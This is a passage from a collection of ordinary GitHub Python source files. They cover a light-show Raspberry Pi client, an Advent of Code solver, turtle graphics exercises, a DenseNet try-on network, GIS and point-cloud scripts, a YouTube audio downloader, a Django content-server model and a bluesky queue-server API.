print(\"Writing control.json\")\r\n json.dump(payload[0], f, indent=4)\r\n with open(os.path.join(DATA_SAVE_DIR, \"OF.json\"), \"w\") as f:\r\n print(\"Writing OF.json\")\r\n json.dump(payload[1], f, indent=4)\r\n with open(os.path.join(DATA_SAVE_DIR, \"LED.json\"), \"w\") as f:\r\n print(\"Writing LED.json\")\r\n json.dump(payload[2], f, indent=4)\r\n\r\n message_to_server = \"\"\r\n status = -1\r\n\r\n try:\r\n process = subprocess.Popen([\"load\"])\r\n message_to_server = \"success\"\r\n status = process.poll()\r\n print(f\"load complete with status {status}\")\r\n\r\n except:\r\n print(\"Can't run subprocess load\")\r\n message_to_server = \"can not run subprocess load\"\r\n status = -1\r\n\r\n self.send_response(\r\n \"command\",\r\n status,\r\n {\r\n \"MAC\": self.MAC,\r\n \"command\": \"load\",\r\n \"message\": message_to_server,\r\n },\r\n )\r\n\r\n elif topic == \"sync\":\r\n print(\"sync\")\r\n\r\n else:\r\n print(\"Invalid action\")\r\n self.send_response(\r\n topic,\r\n -1,\r\n {\r\n \"MAC\": self.MAC,\r\n \"command\": \" \".join(payload),\r\n \"message\": \"Invalid action\",\r\n },\r\n )\r\n\r\n\r\nif __name__ == \"__main__\":\r\n Test = Client()\r\n Test.start_client()\r\n","repo_name":"madmaxieee/LightDance-RPi","sub_path":"ws_client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":5897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"22912533116","text":"def setup_program(noun, verb):\n memory = PROGRAM.copy()\n memory[1] = noun\n memory[2] = verb\n return memory\n\n\ndef run_program(program, index=0):\n op_code, val1, val2, update = program[index : index + 4]\n\n if op_code == 99:\n return program\n\n if op_code == 1:\n value = program[val1] + program[val2]\n\n elif op_code == 2:\n value = program[val1] * program[val2]\n\n program[update] = value\n return run_program(program, index + 4)\n\n\ndef find_inputs_producing(output):\n for noun in range(100):\n for verb in range(100):\n memory = setup_program(noun, verb)\n done = run_program(memory)\n if memory[0] == output:\n return noun, verb\n return Exception('No inputs found producing output')\n\n\nif __name__ == '__main__':\n PROGRAM = [int(c) for c in open('input.txt').read().strip().split(',')]\n\n print('PART 1 - find value at position zero with noun = 12, verb = 2')\n memory = setup_program(12, 2)\n done = run_program(memory)\n print('Program finished running, value at position zero =', PROGRAM[0])\n\n print('PART 2 - find noun and verb inputs that produce output of 19690720')\n noun, verb = find_inputs_producing(19690720)\n print('Inputs found 100 * noun + verb =', 100 * noun + verb)\n","repo_name":"douglascook/advent_of_code","sub_path":"2019/day2/opcodes.py","file_name":"opcodes.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73341232747","text":"from turtle import Turtle, Screen\nimport random\n\n# import heroes\n# Comment and uncomment areas of code to get selected areas working.\n# We tap into the module to change the colour.\n\n\ndef random_color():\n r = random.randint(0, 255)\n g = random.randint(0, 255)\n b = random.randint(0, 255)\n color = (r, g, b)\n return color\n\n\n# To make a spirograph:\nttt = Turtle()\nttt.speed(\"fastest\")\n# We make a function below, around a code which we had earlier (the order of coding sometimes).\n# We wrap the division inside an int, so that we get an integer instead of a floating number.\ndef draw_sprirograph(angle_size):\n for _ in range(int(360 / angle_size)):\n ttt.color(random_color())\n ttt.circle(100)\n # radius 100 ^\n current_heading = ttt.heading()\n ttt.setheading(current_heading + angle_size)\n\n# call the function with an angle size of choice\ndraw_sprirograph(3)\n\n\nscreen = Screen()\n# Angela had t.Screen()\nscreen.exitonclick()\n\n\n# Turtle.colormode(255)\nttt.shape(\"turtle\")\n# Use documentation to find different shapes, particular functions etc such as .shape(\"\")\n# Or Google it\nttt.color(\"DarkSeaGreen\")\n# ttt.right(77)\n# ttt.forward(77)\n# ttt.right(77)\n\n# timmy_the_turtle.right(90)\n# timmy_the_turtle.forward(100)\n# timmy_the_turtle.right(90)\n# timmy_the_turtle.forward(100)\n# timmy_the_turtle.right(90)\n# timmy_the_turtle.forward(100)\n# timmy_the_turtle.right(90)\n# timmy_the_turtle.forward(100)\n# instead use the for loop and range operator:\n\n# you can just write import from a package that isn't downloaded, and pyCharm will ask if you\n# want to download it, very clear and straightforward.\n# print(heroes.gen())\n\nfor _ in range(4):\n ttt.right(90)\n ttt.forward(100)\n # to change the name of anything we named we can right-click, refactor, rename and change it.\n# timmy_the_turtle turned into ttt.\n# colours = [\"blue\", \"green\", \"orange\", \"yellow\", \"black\", \"red\", \"DeepSkyBlue\", \"cyan4\", \"coral\", \"AntiqueWhite3\"]\n\n\ndef draw_shape(num_sides):\n angle = 360 / num_sides\n for _ in range(num_sides):\n ttt.speed(9)\n ttt.forward(100)\n ttt.right(angle)\n\n\nfor shape_side_n in range(3, 11):\n ttt.color(random_color())\n # we're using the tuple we made above using r,g,b for random color.\n draw_shape(shape_side_n)\n\n# Here's how to do a random walk, which is used in many disciplines such as Maths and Physics.\n\nfor _ in range(5):\n ttt.pensize(5)\n ttt.pendown()\n ttt.forward(10)\n ttt.penup()\n ttt.forward(10)\n\ndirections = [0, 90, 100, 180, 250, 270, 275, 360]\nspeed = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\ndistance = range(0, 27)\n# These are nice examples ^ can be used in many ways\n\nfor _ in range(220):\n ttt.color(random_color())\n ttt.speed(random.choice(speed))\n ttt.pendown()\n ttt.forward(random.choice(distance))\n ttt.setheading(random.choice(directions))\n# Good use of documentations\n\n# tuples are different to arrays/lists. Values cannot be changed like in lists.\n# tuple[2] = 7 wouldn't work. When you create a tuple it cannot be changed.\n# Use case = you want a list which no one can change, accidentally especially.\n# If you want to change your tuple you can put it inside a list and convert it into a list.\n# list(tuple) = would result in [1, 2, 3] whatever the tuple is.\n# Look above the colours array to see an example.\n\n\n# Use documentations to figure out how to use these packages and modules.\n\nscreen = Screen()\nscreen.exitonclick()\n# this will exit on click, so when you click the window it will exit. So we move it to the bottom of the\n# file","repo_name":"BEKIRKSU/TurtleGraphics","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30648623579","text":"import torch\nimport torch.nn as nn\nimport math\nfrom torchsummary import summary\n\n# referred from https://towardsdatascience.com/simple-implementation-of-densely-connected-convolutional-networks-in-pytorch-3846978f2f36\n\nclass Dense_Block(nn.Module):\n def __init__(self, in_channels):\n super(Dense_Block, self).__init__()\n\n self.relu = nn.ReLU(inplace = True)\n self.bn = nn.BatchNorm2d(num_features = in_channels)\n\n self.conv1 = nn.Conv2d(in_channels = in_channels, out_channels = 32, kernel_size = 3, stride = 1, padding = 1)\n self.conv2 = nn.Conv2d(in_channels = 32, out_channels = 32, kernel_size = 3, stride = 1, padding = 1)\n self.conv3 = nn.Conv2d(in_channels = 64, out_channels = 32, kernel_size = 3, stride = 1, padding = 1)\n self.conv4 = nn.Conv2d(in_channels = 96, out_channels = 32, kernel_size = 3, stride = 1, padding = 1)\n self.conv5 = nn.Conv2d(in_channels = 128, out_channels = 32, kernel_size = 3, stride = 1, padding = 1)\n\n \n def forward(self, x):\n\n bn = self.bn(x)\n conv1 = self.relu(self.conv1(bn))\n\n conv2 = self.relu(self.conv2(conv1))\n c2_dense = self.relu(torch.cat([conv1, conv2], 1))\n\n conv3 = self.relu(self.conv3(c2_dense))\n c3_dense = self.relu(torch.cat([conv1, conv2, conv3], 1))\n\n conv4 = self.relu(self.conv4(c3_dense))\n c4_dense = self.relu(torch.cat([conv1, conv2, conv3, conv4], 1))\n\n conv5 = self.relu(self.conv5(c4_dense))\n c5_dense = self.relu(torch.cat([conv1, conv2, conv3, conv4, conv5], 1))\n\n return c5_dense\n\n\nclass Transition_Layer(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(Transition_Layer, self).__init__()\n\n self.relu = nn.ReLU(inplace = True)\n self.bn = nn.BatchNorm2d(num_features = out_channels)\n self.conv = nn.Conv2d(in_channels = in_channels, out_channels = out_channels, kernel_size = 1, bias = False)\n self.avg_pool = nn.AvgPool2d(kernel_size = 2, stride = 2, padding = 0)\n\n def forward(self, x):\n\n out = self.bn(self.relu(self.conv(x)))\n # out = bn\n # out = self.avg_pool(bn)\n\n return out\n\n\nclass DenseNet(nn.Module):\n def __init__(self, nr_classes, in_channels=24):\n super(DenseNet, self).__init__()\n\n self.lowconv = nn.Conv2d(in_channels = in_channels, out_channels = 64, kernel_size = 7, padding = 3, bias = False)\n self.relu = nn.ReLU()\n\n # Make Dense Blocks\n self.denseblock1 = self._make_dense_block(Dense_Block, 64)\n self.denseblock2 = self._make_dense_block(Dense_Block, 128)\n self.denseblock3 = self._make_dense_block(Dense_Block, 128)\n\n # Make transition Layers\n self.transitionLayer1 = self._make_transition_layer(Transition_Layer, in_channels = 160, out_channels = 128)\n self.transitionLayer2 = self._make_transition_layer(Transition_Layer, in_channels = 160, out_channels = 128)\n self.transitionLayer3 = self._make_transition_layer(Transition_Layer, in_channels = 160, out_channels = 64)\n\n # Classifier\n self.bn = nn.BatchNorm2d(num_features = 64)\n self.pre_classifier = nn.Linear(64*4*4, 512)\n # self.classifier = nn.Linear(512, nr_classes)\n self.final_block = nn.Sequential(*[nn.Conv2d(64, 3 , (3, 3), 1, (1, 1))])\n\n\n def _make_dense_block(self, block, in_channels):\n layers = []\n layers.append(block(in_channels))\n return nn.Sequential(*layers)\n\n def _make_transition_layer(self, layer, in_channels, out_channels):\n modules = []\n modules.append(layer(in_channels, out_channels))\n return nn.Sequential(*modules)\n\n def forward(self, x):\n out = self.relu(self.lowconv(x))\n\n out = self.denseblock1(out)\n out = self.transitionLayer1(out)\n\n out = self.denseblock2(out)\n out = self.transitionLayer2(out)\n\n out = self.denseblock3(out)\n out = self.transitionLayer3(out)\n \n out = self.bn(out)\n\n out = self.final_block(out)\n\n # Shardul made change here\n # out = out.view(-1, 64*4*4)\n\n # out = self.pre_classifier(out)\n # out = self.classifier(out)\n\n return out\n\n\nclass Try_on_DenseNet_interp(torch.nn.Module):\n def __init__(self, device, inp_channels, depth_inp_channels=16, training=False):\n super(Try_on_DenseNet_interp, self).__init__()\n self.inp_channels = inp_channels # inp_channels to main densenet after concatenation\n self.depth_inp_channels = depth_inp_channels\n \n self.conv1_1 = nn.Conv2d(in_channels=self.depth_inp_channels//2, out_channels=3, kernel_size=1, stride=1, padding=0)\n self.conv1_2 = nn.Conv2d(in_channels=self.depth_inp_channels//2, out_channels=3, kernel_size=1, stride=1, padding=0)\n self.conv2_1 = nn.Conv2d(in_channels=self.depth_inp_channels//2, out_channels=3, kernel_size=1, stride=1, padding=0)\n self.conv2_2 = nn.Conv2d(in_channels=self.depth_inp_channels//2, out_channels=3, kernel_size=1, stride=1, padding=0)\n\n \n self.residue_net = DenseNet(10, self.inp_channels)\n self._initialize_weights()\n self.device = device\n self.training = training\n \n def _initialize_weights(self):\n count = 0\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n # n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n # m.weight.data.normal_(0, math.sqrt(2. / n))\n # print(m)\n count+=1\n # print(count)\n # weight_init.xavier_uniform(m.weight.data)\n nn.init.xavier_uniform_(m.weight.data)\n # weight_init.kaiming_uniform(m.weight.data, a = 0, mode='fan_in')\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n elif isinstance(m, nn.Linear):\n m.weight.data.normal_(0, 0.01)\n m.bias.data.zero_()\n\n # inp1 --> masked body image\n # inp2 --> depth map (16 channels)\n # inp3 --> warped cloth\n # inp4 --> original output image\n def forward(self, inp1_1, inp1_2, inp1_3, inp3_1, inp3_2, inp3_3, im2_orig):\n # inp1 = inp1.to(self.device)\n # inp2 = inp2.to(self.device)\n # inp3 = inp3.to(self.device)\n losses = []\n\n\n inp1_2_1 = self.conv1_1(inp1_2[:, :self.depth_inp_channels//2])\n inp1_2_2 = self.conv1_2(inp1_2[:, self.depth_inp_channels//2:])\n inp3_2_1 = self.conv2_1(inp3_2[:, :self.depth_inp_channels//2])\n inp3_2_2 = self.conv2_2(inp3_2[:, self.depth_inp_channels//2:])\n\n cur_input = torch.cat((inp1_2_1, inp1_2_2, inp3_2_1, inp3_2_2, inp1_1, inp1_3, inp3_1, inp3_3), dim=1)\n # cur_input = torch.cat((inp2_1, inp2_2, inp1, inp3), dim=1)\n res = self.residue_net(cur_input)\n if self.training == True:\n losses += [res - im2_orig]\n return losses, res\n else:\n return res","repo_name":"manishmanu/VideoVirtualTryon-HCAI-Project","sub_path":"VTO_With_Depth/networks/Try_on_DenseNet_interp.py","file_name":"Try_on_DenseNet_interp.py","file_ext":"py","file_size_in_byte":7118,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"4367982470","text":"import pickle\nimport pandas as pd\nimport glob\nfrom Scripts.Utils import *\n\n# Calculates Renewal Area measures with respect to illegal rooftops\n# Data is loaded from OCR/GeoJson for renewal areas and output.csv for rooftops\n\ncsv_dir = data_dir + 'output.csv'\ndataset = pd.read_csv(csv_dir)\ncoords = [QgsPointXY(*x) for x in dataset[['Lng','Lat']].values]\n\nfiles = glob.glob('%s/OCR/GeoJson/*.json' % base_dir)\ndf = pd.DataFrame(columns=('district', 'rooftopsNearby', 'closestRooftop', 'featuresCount', 'area'))\nthreshold = 300\n#Create a measure object\ndistance = QgsDistanceArea()\ndistance.setEllipsoid('WGS84')\nfor idx, f in enumerate(files):\n\tp = Path(f)\n\tlayerName = p.stem\n\tvLayer = QgsVectorLayer(str(p), layerName, \"ogr\")\n\tif vLayer.featureCount() != 0:\n\t\t# getting area data\n\t\tarea = 0\n\t\tfor f in vLayer.getFeatures():\n\t\t\tarea += distance.measureArea(f.geometry())\n\t\t\n\t\t# getting rooftop data\n\t\tcentroid = getLayerCenter(vLayer)\n\t\tcentroid = QgsPointXY(*centroid)\n\t\tcount = 0\n\t\tlayerDistances = []\n\t\tfor c in coords:\n\t\t\tm = distance.measureLine(centroid, c)\n\t\t\tlayerDistances.append(m)\n\t\t\tif m < threshold:\n\t\t\t\tcount += 1\n\t\tdf.loc[idx] = [layerName, count, min(layerDistances), vLayer.featureCount(), area]\n\ndf.to_csv('%sRenewals.csv' % data_dir, index=False, encoding='utf-8')\n","repo_name":"GrimReaperSam/TaipeiLandUse","sub_path":"Scripts/GenerateRenewalsQGIS.py","file_name":"GenerateRenewalsQGIS.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30343278984","text":"import sys, os, subprocess, yt_dlp\r\n\r\n\r\nurl = input(\"Input URL Here: \")\r\nsong_there = os.path.isfile(\"output.mp3\")\r\ntry:\r\n\tif song_there:\r\n\t\tos.remove(\"output.mp3\")\r\nexcept PermissionError:\r\n\tprint(\"Permission Error\")\r\n\tquit()\r\nydl_opts = {\r\n\t'format': 'bestaudio/best',\r\n\t'postprocessors': [{\r\n\t\t'key': 'FFmpegExtractAudio',\r\n\t\t'preferredcodec': 'mp3',\r\n\t\t'preferredquality': '192',\r\n\t}],\r\n}\r\nwith yt_dlp.YoutubeDL(ydl_opts) as ydl:\r\n\tydl.download([url])\r\nfor file in os.listdir(\"./\"):\r\n\tif file.endswith(\".mp3\"):pass\r\n\t\t#os.rename(file, \"output.mp3\")\r\nprint(\"\\nFinished\")\r\n\r\nFILEBROWSER_PATH = os.path.join(os.getenv('WINDIR'), 'explorer.exe')\r\n\r\n# explorer would choke on forward slashes\r\npath = os.path.normpath(r\"C:\\Users\\raymo\\OneDrive\\Desktop\\coding\\Python Programs\\! youtube download\")\r\n\r\nif os.path.isdir(path):\r\n subprocess.run([FILEBROWSER_PATH, path])\r\nelif os.path.isfile(path):\r\n subprocess.run([FILEBROWSER_PATH, '/select,', os.path.normpath(path)])","repo_name":"Phaliion/YouTube-Download","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38922355947","text":"import numpy as np\r\nimport math\r\nimport os\r\nfrom PIL import Image\r\n\r\nxyz_dir = \"C:/path/to/cloud/dir\"\r\nimg_resolution = 768\r\n\r\n#Center foreground pixels to image\r\ndef center_foreground(image):\r\n grayscale_image = image.convert(\"L\")\r\n foreground_box = grayscale_image.getbbox()\r\n foreground_center_x = (foreground_box[2] + foreground_box[0]) // 2\r\n foreground_center_y = (foreground_box[3] + foreground_box[1]) // 2\r\n\r\n shift_x = image.width // 2 - foreground_center_x\r\n shift_y = image.height // 2 - foreground_center_y\r\n\r\n centered_image = Image.new(\"RGB\", (image.width, image.height), (0, 0, 0))\r\n centered_image.paste(image, (shift_x, shift_y))\r\n\r\n return centered_image\r\n\r\n#Rotate cloud as needed\r\ndef rotate_point_cloud(point_cloud, angle_degrees, axis):\r\n angle_radians = math.radians(angle_degrees)\r\n if axis == 'x':\r\n rotation_matrix = np.array([[1, 0, 0],\r\n [0, math.cos(angle_radians), -math.sin(angle_radians)],\r\n [0, math.sin(angle_radians), math.cos(angle_radians)]])\r\n elif axis == 'y':\r\n rotation_matrix = np.array([[math.cos(angle_radians), 0, math.sin(angle_radians)],\r\n [0, 1, 0],\r\n [-math.sin(angle_radians), 0, math.cos(angle_radians)]])\r\n elif axis == 'z':\r\n rotation_matrix = np.array([[math.cos(angle_radians), -math.sin(angle_radians), 0],\r\n [math.sin(angle_radians), math.cos(angle_radians), 0],\r\n [0, 0, 1]])\r\n else:\r\n raise ValueError(\"Invalid rotation axis. Valid options are 'x', 'y', or 'z'.\")\r\n \r\n rotated_point_cloud = np.dot(point_cloud, rotation_matrix)\r\n return rotated_point_cloud\r\n\r\ndef normalize_cloud(data_list, canvas_resolution = 768):\r\n data_array = np.array(data_list)\r\n\r\n #Un-comment to rotate the cloud as needed\r\n #data_array = rotate_point_cloud(data_array, 15, \"y\")\r\n #data_array = rotate_point_cloud(data_array, -5, \"x\")\r\n #data_array = rotate_point_cloud(data_array, -90, \"z\")\r\n\r\n range_x = (max(data_array[:, 0]) - min(data_array[:, 0]))\r\n range_y = (max(data_array[:, 1]) - min(data_array[:, 1]))\r\n min_xyz = np.min(data_array, axis=0)\r\n max_xyz = np.max(data_array, axis=0)\r\n\r\n scaled_data = np.copy(data_array)\r\n\r\n #Normalize X and Y\r\n scaled_data[:, :2] = (scaled_data[:, :2] - min_xyz[:2]) / (max_xyz[:2] - min_xyz[:2]) * (canvas_resolution-2) +1 #floor is 1\r\n if range_x > range_y:\r\n scaled_data[:, 1] = scaled_data[:, 1] * (range_y/range_x)\r\n else:\r\n scaled_data[:, 0] = scaled_data[:, 0] * (range_x/range_y)\r\n \r\n #Normalize Z (strictly to 255)\r\n scaled_data[:, 2] = (scaled_data[:, 2] - min_xyz[2]) / (max_xyz[2] - min_xyz[2]) * 254 + 1\r\n\r\n #Process cloud for effecient conversion to image\r\n scaled_data = np.round(scaled_data).astype(int)\r\n unique_data = np.unique(scaled_data, axis=0)\r\n \r\n #Reorder Z data smallest to largest\r\n #The stack ends up with bottom and top of range\r\n z_data = unique_data[:, 2]\r\n sorted_indices = np.argsort(z_data)\r\n sorted_data = [unique_data[i] for i in sorted_indices]\r\n\r\n return sorted_data\r\n\r\n#Plot cloud points to RGB\r\ndef cloud2RGB(cloud, canvas_resolution):\r\n image_array = np.zeros((canvas_resolution, canvas_resolution, 3), dtype=np.uint8)\r\n for x, y, z in cloud:\r\n if 0 in image_array[x, y]:\r\n idx = np.where(image_array[x, y] == 0)[0][0]\r\n image_array[x, y, idx] = z\r\n else:\r\n image_array[x, y, 2] = z\r\n\r\n return image_array\r\n\r\n#Iterate directory of XYZs, output PNGs to same directory\r\nfor filename in os.listdir(xyz_dir):\r\n if filename.endswith(\".xyz\"):\r\n file_path = os.path.join(xyz_dir, filename)\r\n output_filename = os.path.splitext(filename)[0] + \".png\"\r\n output_path = os.path.join(xyz_dir, output_filename)\r\n \r\n data_list = []\r\n with open(file_path, 'r') as f:\r\n for line in f:\r\n #ASSUMES xyz file contains ONLY FLOATS for ONLY points\r\n #TODO: Conditions for types, error handling\r\n data = [float(x) for x in line.strip().split()]\r\n data_list.append(data)\r\n ranged = normalize_cloud(data_list, img_resolution)\r\n colored = cloud2RGB(ranged, img_resolution)\r\n img = Image.fromarray(colored, \"RGB\")\r\n #Process image.. uncomment as needed\r\n #img = img.transpose(Image.ROTATE_90)\r\n #img = center_foreground(img)\r\n img.save(output_path)","repo_name":"LonicaMewinsky/rgb2cloud","sub_path":"cloud2rgb.py","file_name":"cloud2rgb.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"8621173811","text":"import logging\n\nfrom django.conf import settings\nfrom django.db import models\nfrom django.forms import fields\n\nfrom djangoplicity.contentserver.tasks import sync_content_server\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef _get_content_server_choices():\n '''\n Returns the list of content servers from the settings that will be used by\n the models, the default is '', which is a dummy server\n '''\n return getattr(\n settings,\n 'MEDIA_CONTENT_SERVERS_CHOICES',\n (('none', 'Default'), )\n )\n\n\ndef _get_default_content_server():\n return getattr(\n settings,\n 'DEFAULT_MEDIA_CONTENT_SERVER',\n 'none'\n )\n\n\nclass ContentServerField(models.CharField):\n '''\n Custom field to avoid having choices caught by makemigrations\n '''\n\n def formfield(self, **kwargs):\n return fields.ChoiceField(\n required=False,\n choices=_get_content_server_choices,\n initial=_get_default_content_server(),\n )\n\n\nclass ContentDeliveryModel(models.Model):\n '''\n Base class that archive that use a content server must inherit from\n '''\n content_server = ContentServerField(max_length=255, blank=True,\n default=_get_default_content_server)\n content_server_ready = models.BooleanField(default=False)\n\n class Meta:\n abstract = True\n\n def sync_content_server(self, formats=None, delay=False):\n '''\n Synchronise the given formats (default if None) with the content server\n If delay is True the requests will be store and run in batch.\n '''\n # The Django class can't be serialised, so we send instead the\n # module path and class name\n sync_content_server.delay(self.__module__, self.__class__.__name__,\n self.pk, formats, delay)\n\n @classmethod\n def content_server_changed(cls, sender, instance, raw, **kwargs):\n '''\n If content_server has changed, we set a flag to call sync_resources for\n the selected content server in the instance post_save\n '''\n if raw:\n # The call doesn't run in raw mode\n return\n\n if not hasattr(instance, 'content_server'):\n return\n\n try:\n orig = sender.objects.get(pk=instance.pk)\n except sender.DoesNotExist:\n # instance is new, nothing to do\n return\n\n # Check if the content server has changed\n if orig.content_server != instance.content_server:\n instance.content_server_ready = False\n instance.run_content_server_sync = True\n\n @classmethod\n def sync_archive_to_content_server(cls, sender, instance, raw, **kwargs):\n '''\n Callback for post_save signal\n '''\n if hasattr(instance, 'run_content_server_sync') and instance.run_content_server_sync:\n instance.sync_content_server()\n del instance.run_content_server_sync\n\n @classmethod\n def sync_archive_on_rename(cls, sender, old_pk, new_pk, **kwargs):\n '''\n Callback for post_rename signal\n '''\n # TODO: this should be improved to remove the old content using old_pk\n logger.info('Sync archive after rename from \"%s\" to \"%s\"', old_pk, new_pk)\n\n # We first turn of the content server while we sync the archives\n try:\n instance = cls.objects.get(id=new_pk)\n # We don't want to trigger signals when setting content_server_ready,\n # so we use a hack to bypass it instead of using instance.save():\n cls.objects.filter(pk=instance.pk).update(content_server_ready=False)\n\n instance.sync_content_server()\n except cls.DoesNotExist:\n logger.warning('Could not find archive \"%s\" (%s)', new_pk, cls)\n","repo_name":"djangoplicity/djangoplicity","sub_path":"djangoplicity/contentserver/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3782,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"6756355460","text":"import asyncio\nimport io\nimport logging\nimport pprint\nfrom typing import Optional\n\nimport pydantic\nfrom bluesky_queueserver.manager.conversions import simplify_plan_descriptions, spreadsheet_to_plan_list\nfrom fastapi import APIRouter, Depends, File, Form, Request, Security, UploadFile\nfrom packaging import version\n\nif version.parse(pydantic.__version__) < version.parse(\"2.0.0\"):\n from pydantic import BaseSettings\nelse:\n from pydantic_settings import BaseSettings\n\nfrom ..authentication import get_current_principal\nfrom ..console_output import ConsoleOutputEventStream, StreamingResponseFromClass\nfrom ..resources import SERVER_RESOURCES as SR\nfrom ..settings import get_settings\nfrom ..utils import (\n get_api_access_manager,\n get_current_username,\n get_resource_access_manager,\n process_exception,\n validate_payload_keys,\n)\n\nlogger = logging.getLogger(__name__)\n\nrouter = APIRouter(prefix=\"/api\")\n\n\n@router.get(\"/\")\n@router.get(\"/ping\")\nasync def ping_handler(payload: dict = {}, principal=Security(get_current_principal, scopes=[\"read:status\"])):\n \"\"\"\n May be called to get some response from the server. Currently returns status of RE Manager.\n \"\"\"\n try:\n msg = await SR.RM.ping(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/status\")\nasync def status_handler(\n request: Request,\n payload: dict = {},\n principal=Security(get_current_principal, scopes=[\"read:status\"]),\n):\n \"\"\"\n Returns status of RE Manager.\n \"\"\"\n request.state.endpoint = \"status\"\n # logger.info(f\"payload = {payload} principal={principal}\")\n try:\n msg = await SR.RM.status(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/config/get\")\nasync def queue_config_get(\n payload: dict = {},\n principal=Security(get_current_principal, scopes=[\"read:config\"]),\n):\n \"\"\"\n Get manager configuration.\n \"\"\"\n try:\n msg = await SR.RM.config_get(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/autostart\")\nasync def queue_autostart_handler(\n payload: dict,\n principal=Security(get_current_principal, scopes=[\"write:queue:control\"]),\n):\n \"\"\"\n Set queue mode.\n \"\"\"\n try:\n msg = await SR.RM.queue_autostart(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/mode/set\")\nasync def queue_mode_set_handler(\n payload: dict,\n principal=Security(get_current_principal, scopes=[\"write:queue:control\"]),\n):\n \"\"\"\n Set queue mode.\n \"\"\"\n try:\n msg = await SR.RM.queue_mode_set(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/queue/get\")\nasync def queue_get_handler(payload: dict = {}, principal=Security(get_current_principal, scopes=[\"read:queue\"])):\n \"\"\"\n Returns the contents of the current queue.\n \"\"\"\n try:\n msg = await SR.RM.queue_get(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/clear\")\nasync def queue_clear_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:queue:edit\"])\n):\n \"\"\"\n Clear the plan queue.\n \"\"\"\n try:\n msg = await SR.RM.queue_clear(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/start\")\nasync def queue_start_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:queue:control\"])\n):\n \"\"\"\n Start execution of the loaded queue. Additional runs can be added to the queue while\n it is executed. If the queue is empty, then nothing will happen.\n \"\"\"\n try:\n msg = await SR.RM.queue_start(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/stop\")\nasync def queue_stop(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:queue:control\"])\n):\n \"\"\"\n Activate the sequence of stopping the queue. The currently running plan will be completed,\n but the next plan will not be started. The request will be rejected if no plans are currently\n running\n \"\"\"\n try:\n msg = await SR.RM.queue_stop(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/stop/cancel\")\nasync def queue_stop_cancel(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:queue:control\"])\n):\n \"\"\"\n Cancel pending request to stop the queue while the current plan is still running.\n It may be useful if the `/queue/stop` request was issued by mistake or the operator\n changed his mind. Since `/queue/stop` takes effect only after the currently running\n plan is completed, user may have time to cancel the request and continue execution of\n the queue. The command always succeeds, but it has no effect if no queue stop\n requests are pending.\n \"\"\"\n try:\n msg = await SR.RM.queue_stop_cancel(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/item/add\")\nasync def queue_item_add_handler(\n payload: dict = {},\n principal=Security(get_current_principal, scopes=[\"write:queue:edit\"]),\n settings: BaseSettings = Depends(get_settings),\n api_access_manager=Depends(get_api_access_manager),\n resource_access_manager=Depends(get_resource_access_manager),\n):\n \"\"\"\n Adds new plan to the queue\n \"\"\"\n try:\n username = get_current_username(\n principal=principal, settings=settings, api_access_manager=api_access_manager\n )[0]\n displayed_name = api_access_manager.get_displayed_user_name(username)\n user_group = resource_access_manager.get_resource_group(username)\n payload.update({\"user\": displayed_name, \"user_group\": user_group})\n\n if \"item\" not in payload:\n # We can not use API, so let the server handle the parameters\n msg = await SR.RM.send_request(method=\"queue_item_add\", params=payload)\n else:\n msg = await SR.RM.item_add(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/item/execute\")\nasync def queue_item_execute_handler(\n payload: dict,\n principal=Security(get_current_principal, scopes=[\"write:execute\"]),\n settings: BaseSettings = Depends(get_settings),\n api_access_manager=Depends(get_api_access_manager),\n resource_access_manager=Depends(get_resource_access_manager),\n):\n \"\"\"\n Immediately execute an item\n \"\"\"\n try:\n username = get_current_username(\n principal=principal, settings=settings, api_access_manager=api_access_manager\n )[0]\n displayed_name = api_access_manager.get_displayed_user_name(username)\n user_group = resource_access_manager.get_resource_group(username)\n payload.update({\"user\": displayed_name, \"user_group\": user_group})\n\n if \"item\" not in payload:\n # We can not use API, so let the server handle the parameters\n msg = await SR.RM.send_request(method=\"queue_item_execute\", params=payload)\n else:\n msg = await 